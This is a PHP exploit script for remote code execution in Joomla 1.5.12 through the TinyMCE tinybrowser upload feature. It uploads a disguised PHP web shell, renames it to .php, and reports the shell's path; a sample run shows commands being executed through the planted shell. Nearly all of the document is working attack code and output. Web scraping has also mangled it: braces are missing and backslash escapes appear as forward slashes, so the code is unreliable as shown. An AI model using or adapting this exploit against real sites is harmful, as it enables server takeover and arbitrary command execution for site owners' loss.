<code><?php</code>
<code> </code>
<code>/**</code>
<code> </code><code>** Joomla 1.5.12 Remote Code Execution via TinyMCE upload vulnerability</code>
<code> </code><code>**</code>
<code> </code><code>** Tested against :</code>
<code> </code><code>** - Joomla 1.5.12 / Ubuntu 8.10 / Apache 2.2.9</code>
<code> </code><code>** - Joomla 1.5.12 / Windows XP SP2 / Apache 2.2.12</code>
<code> </code><code>** Luca "daath" De Fulgentis - daath [at] nibblesec.org</code>
<code> </code><code>** http://blog.nibblesec.org</code>
<code> </code><code>**/</code>
<code>/*</code>
<code>daath@shaytan:~$ php pwnoomla.php localhost /joomla</code>
<code> </code><code>[-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]</code>
<code> </code><code>[#] Attacking localhost:80/joomla/</code>
<code> </code><code>[+] Web root pathname is : /var/www/</code>
<code> </code><code>[+] Magic token is a8de65e217ed779dbda80eb04502a2da</code>
<code> </code><code>[#] Creating remote directory ... DONE</code>
<code> </code><code>[#] Uploading image ... DONE</code>
<code> </code><code>[#] Renaming image's extension (takes a while) ... PWNED!</code>
<code> </code><code>[+] Here is the php shell : /joomla/images/stories/i208661849/shell.php</code>
<code>daath@shaytan:~$ echo -e "GET /joomla/images/stories/i208661849/shell.php?cmd=ls%20-al%20shell.php HTTP/1.0/n/n" | nc localhost 80</code>
<code>HTTP/1.1 200 OK</code>
<code>Date: Mon, 28 Sep 2009 10:39:43 GMT</code>
<code>Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.3 with Suhosin-Patch</code>
<code>X-Powered-By: PHP/5.2.6-2ubuntu4.3</code>
<code>Vary: Accept-Encoding</code>
<code>Connection: close</code>
<code>Content-Type: text/html</code>
<code>-rw-r--r-- 1 www-data www-data 54 Sep 28 12:39 shell.php</code>
<code>daath@shaytan:~$ </code>
<code>*/</code>
<code> </code><code>$host</code> <code>=</code><code>"localhost"</code><code>;</code>
<code> </code><code>$port</code> <code>=</code><code>"80"</code><code>;</code>
<code> </code><code>$install_path</code> <code>=</code><code>"/"</code><code>;</code>
<code> </code><code>$path</code> <code>=</code><code>"/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser"</code><code>;</code>
<code> </code><code>$dir</code> <code>=</code><code>"/tinybrowser.php?type=image&folder="</code><code>;</code>
<code> </code><code>$upload</code> <code>=</code><code>"/upload_file.php"</code><code>;</code>
<code> </code><code>$rename</code> <code>=</code><code>"/edit.php?type=file&folder="</code><code>;</code>
<code> </code><code>/*</code>
<code> </code><code>* PHP shell</code>
<code> </code><code>*/</code>
<code> </code><code>$php_shell</code> <code>=</code><code>"<?php if(isset(/$_GET[/"cmd/"])) system(/$_GET[/"cmd/"]); ?>"</code><code>;</code>
<code> </code><code>echo</code> <code>"/n [-] Joomla 1.5.12 RCE via TinyMCE upload vulnerability [-]/n/n"</code><code>;</code>
<code> </code><code>if</code><code>(</code><code>$argc</code> <code>< 2) {</code>
<code> </code><code>echo</code> <code>" Usage: php {$argv[0]} host joomla_install_path/n"</code><code>;</code>
<code> </code><code>echo</code> <code>" Example : php {$argv[0]} localhost /joomla/ /n/n"</code><code>;</code>
<code> </code><code>exit</code><code>(1);</code>
<code> </code><code>}</code>
<code> </code><code>$host</code> <code>=</code><code>$argv</code><code>[1];</code>
<code> </code><code>if</code><code>(</code><code>$argc</code> <code>== 3) {</code>
<code> </code><code>$install_path</code> <code>=</code><code>$argv</code><code>[2][0] ==</code><code>"/"</code> <code>?</code><code>$argv</code><code>[2] :</code><code>"/"</code><code>.</code><code>$argv</code><code>[2];</code>
<code> </code><code>$install_path</code> <code>=</code><code>$argv</code><code>[2][</code><code>strlen</code><code>(</code><code>$install_path</code><code>)-1] ==</code><code>"/"</code> <code>?</code><code>$install_path</code> <code>:</code><code>$install_path</code><code>.</code><code>"/"</code><code>;</code>
<code> </code><code>echo</code> <code>" [#] Attacking {$host}:{$port}{$install_path}/n"</code><code>;</code>
<code> </code><code>$resp</code> <code>= HTTPRequest(</code><code>"GET {$install_path}/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/tinybrowser.php HTTP/1.0/r/n/r/n"</code><code>);</code>
<code> </code><code>if</code><code>(</code><code>strstr</code><code>(</code><code>$resp</code><code>,</code><code>"Restricted access"</code><code>)) {</code>
<code> </code><code>die</code><code>(</code><code>" [-] Joomla is NOT vulnerable, exiting./n/n"</code><code>);</code>
<code> </code><code>$webroot</code> <code>= get_webroot_pathname();</code>
<code> </code><code>if</code><code>(</code><code>$webroot</code> <code>==</code><code>""</code><code>) {</code>
<code> </code><code>die</code><code>(</code><code>" [-] Web root pathname NOT FOUND, exiting./n/n"</code><code>);</code>
<code> </code>
<code> </code><code>echo</code> <code>" [+] Web root pathname is : {$webroot}/n"</code><code>;</code>
<code> </code><code>$seed</code> <code>= md5(</code><code>$webroot</code> <code>.</code><code>"s0merand0mjunk!!!111"</code><code>);</code>
<code> </code><code>echo</code> <code>" [+] Magic token is {$seed}/n"</code><code>;</code>
<code> </code><code>$my_dir</code> <code>=</code><code>"i"</code> <code>. rand();</code>
<code> </code><code>echo</code> <code>" [#] Creating remote directory ... "</code><code>;</code>
<code> </code><code>$resp</code> <code>= HTTPRequest(</code><code>"GET {$install_path}{$path}{$dir}/{$my_dir} HTTP/1.0/r/n/r/n"</code><code>);</code>
<code> </code><code>if</code><code>(!</code><code>strstr</code><code>(</code><code>$resp</code><code>,</code><code>"directory has been successfully created"</code><code>)) {</code>
<code> </code><code>die</code><code>(</code><code>"FAILED/n [-] Error - creating directory, exiting./n/n"</code><code>);</code>
<code> </code><code>echo</code> <code>"DONE/n"</code><code>;</code>
<code> </code><code>$my_shell</code> <code>= md5(time());</code>
<code> </code><code>echo</code> <code>" [#] Uploading image ... "</code><code>;</code>
<code> </code><code>$data</code> <code>=</code><code>"--1234567/r/n"</code><code>;</code>
<code> </code><code>$data</code> <code>.=</code><code>"Content-Disposition: form-data; name=/"Filedata/"; filename=/"{$my_shell}.png/"/r/n/r/n"</code><code>;</code>
<code> </code><code>$data</code> <code>.=</code><code>"{$php_shell}/r/n"</code><code>;</code>
<code> </code><code>$data</code> <code>.=</code><code>"--1234567--/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>=</code><code>"POST {$install_path}{$path}{$upload}"</code> <code>.</code><code>"?obfuscate={$seed}&type=file&folder={$install_path}images/stories/{$my_dir} HTTP/1.1/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>.=</code><code>"Host: {$host}/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>.=</code><code>"Content-Length: "</code><code>.</code><code>strlen</code><code>(</code><code>$data</code><code>).</code><code>"/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>.=</code><code>"Content-Type: multipart/form-data; boundary=1234567/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>.=</code><code>"Connection: close/r/n/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>.=</code><code>$data</code><code>; </code>
<code> </code><code>$resp</code> <code>= HTTPRequest(</code><code>$req</code><code>);</code>
<code> </code><code>if</code> <code>(!</code><code>strstr</code><code>(</code><code>$resp</code><code>,</code><code>"File Upload Success"</code><code>)) {</code>
<code> </code><code>die</code><code>(</code><code>"FAILED/n [-] Error - image uploading, exiting./n/n"</code><code>);</code>
<code> </code><code>echo</code> <code>" [#] Renaming image's extension (takes a while) ... "</code><code>;</code>
<code> </code><code>$data</code> <code>=</code><code>"actionfile%5B0%5D={$my_shell}.png_&renameext%5B0%5D=php&renamefile%5B0%5D=shell.&sortby=name"</code><code>;</code>
<code> </code><code>$data</code> <code>.=</code><code>"&sorttype=asc&find=&showpage=0&action=rename&commit=/r/n/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>=</code><code>"POST {$install_path}{$path}/edit.php?type=image&folder={$my_dir}%2F HTTP/1.1/n"</code><code>;</code>
<code> </code><code>$req</code> <code>.=</code><code>"Content-Type: application/x-www-form-urlencoded/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>.=</code><code>"Content-Length: "</code> <code>.</code><code>strlen</code><code>(</code><code>$data</code><code>) .</code><code>"/r/n/r/n"</code><code>;</code>
<code> </code><code>$req</code> <code>.=</code><code>$data</code><code>;</code>
<code> </code><code>if</code><code>(!</code><code>strstr</code><code>(</code><code>$resp</code><code>,</code><code>"1 files have been successfully renamed"</code><code>)) {</code>
<code> </code><code>die</code><code>(</code><code>"FAILED/n [-] Error - image's extension renaming, exiting./n"</code><code>);</code>
<code> </code><code>echo</code> <code>"PWNED!/n"</code><code>;</code>
<code> </code><code>echo</code> <code>" [+] Here is the php shell : {$install_path}images/stories/{$my_dir}/shell.php/n/n"</code><code>;</code>
<code> </code><code>exit</code><code>;</code>
<code> </code><code>function</code> <code>get_webroot_pathname() {</code>
<code> </code><code>global</code> <code>$install_path</code><code>;</code>
<code> </code><code>$resp</code> <code>= HTTPRequest(</code><code>"GET {$install_path}/libraries/joomla/utilities/compat/php50x.php HTTP/1./r/n/r/n"</code><code>);</code>
<code> </code><code>$pos1</code> <code>=</code><code>strpos</code><code>(</code><code>$resp</code><code>,</code><code>"in <b>"</code><code>);</code>
<code> </code><code>$pos2</code> <code>=</code><code>strpos</code><code>(</code><code>$resp</code><code>,</code><code>"libraries"</code><code>);</code>
<code> </code><code>if</code><code>(</code><code>$pos1</code> <code>=== false ||</code><code>$pos2</code> <code>=== false)</code>
<code> </code><code>return</code> <code>""</code><code>;</code>
<code> </code><code>$init</code> <code>=</code><code>$pos1</code> <code>+</code><code>strlen</code><code>(</code><code>"in <b>"</code><code>);</code>
<code> </code><code>$str</code> <code>=</code><code>substr</code><code>(</code><code>$resp</code><code>,</code><code>$init</code><code>,</code><code>$pos2</code><code>-</code><code>$init</code><code>);</code>
<code> </code><code>if</code><code>(</code><code>$install_path</code> <code>!=</code><code>"/"</code><code>) {</code>
<code> </code><code>$install_path2</code> <code>=</code><code>str_replace</code><code>(</code><code>"/"</code><code>,</code><code>""</code><code>,</code><code>$install_path</code><code>);</code>
<code> </code><code>$pos1</code> <code>=</code><code>strrpos</code><code>(</code><code>$str</code><code>,</code><code>$install_path2</code><code>);</code>
<code> </code><code>if</code><code>(</code><code>$pos1</code> <code>=== false)</code>
<code> </code><code>return</code> <code>""</code><code>;</code>
<code> </code><code>$str</code> <code>=</code><code>substr</code><code>(</code><code>$str</code><code>, 0,</code><code>$pos1</code><code>-1);</code>
<code> </code><code>}</code>
<code> </code><code>if</code><code>(</code><code>$str</code><code>[</code><code>strlen</code><code>(</code><code>$str</code><code>)-1] ==</code><code>"//"</code><code>)</code>
<code> </code><code>$str</code> <code>=</code><code>substr</code><code>(</code><code>$str</code><code>, 0,</code><code>$pos</code><code>-1);</code>
<code> </code><code>if</code><code>(</code><code>strstr</code><code>(</code><code>$str</code><code>,</code><code>"/"</code><code>) &&</code><code>$str</code><code>[</code><code>strlen</code><code>(</code><code>$str</code><code>)-1] !=</code><code>"/"</code><code>)</code>
<code> </code><code>$str</code> <code>=</code><code>$str</code> <code>.</code><code>"/"</code><code>;</code>
<code> </code><code>$pathname</code> <code>=</code><code>str_replace</code><code>(</code><code>"//"</code><code>,</code><code>"/"</code><code>,</code><code>$str</code><code>);</code>
<code> </code><code>return</code> <code>$pathname</code><code>;</code>
<code> </code><code>function</code> <code>HTTPRequest(</code><code>$req</code><code>) {</code>
<code> </code><code>global</code> <code>$host</code><code>,</code><code>$port</code><code>;</code>
<code> </code><code>$s</code> <code>= @</code><code>fsockopen</code><code>(</code><code>$host</code><code>,</code><code>$port</code><code>,</code><code>$errno</code><code>,</code><code>$errstr</code><code>, 10);</code>
<code> </code><code>if</code><code>(!</code><code>$s</code><code>) {</code>
<code> </code><code>die</code><code>(</code><code>"/n [-] Error in connection, exiting./n/n"</code><code>);</code>
<code> </code><code>fputs</code><code>(</code><code>$s</code><code>,</code><code>$req</code><code>);</code>
<code> </code><code>$resp</code> <code>=</code><code>""</code><code>;</code>
<code> </code><code>while</code><code>(!</code><code>feof</code><code>(</code><code>$s</code><code>)) {</code>
<code> </code><code>$resp</code> <code>.=</code><code>fgets</code><code>(</code><code>$s</code><code>);</code>
<code> </code><code>fclose(</code><code>$s</code><code>);</code>
<code> </code><code>return</code> <code>$resp</code><code>;</code>
<code>?></code>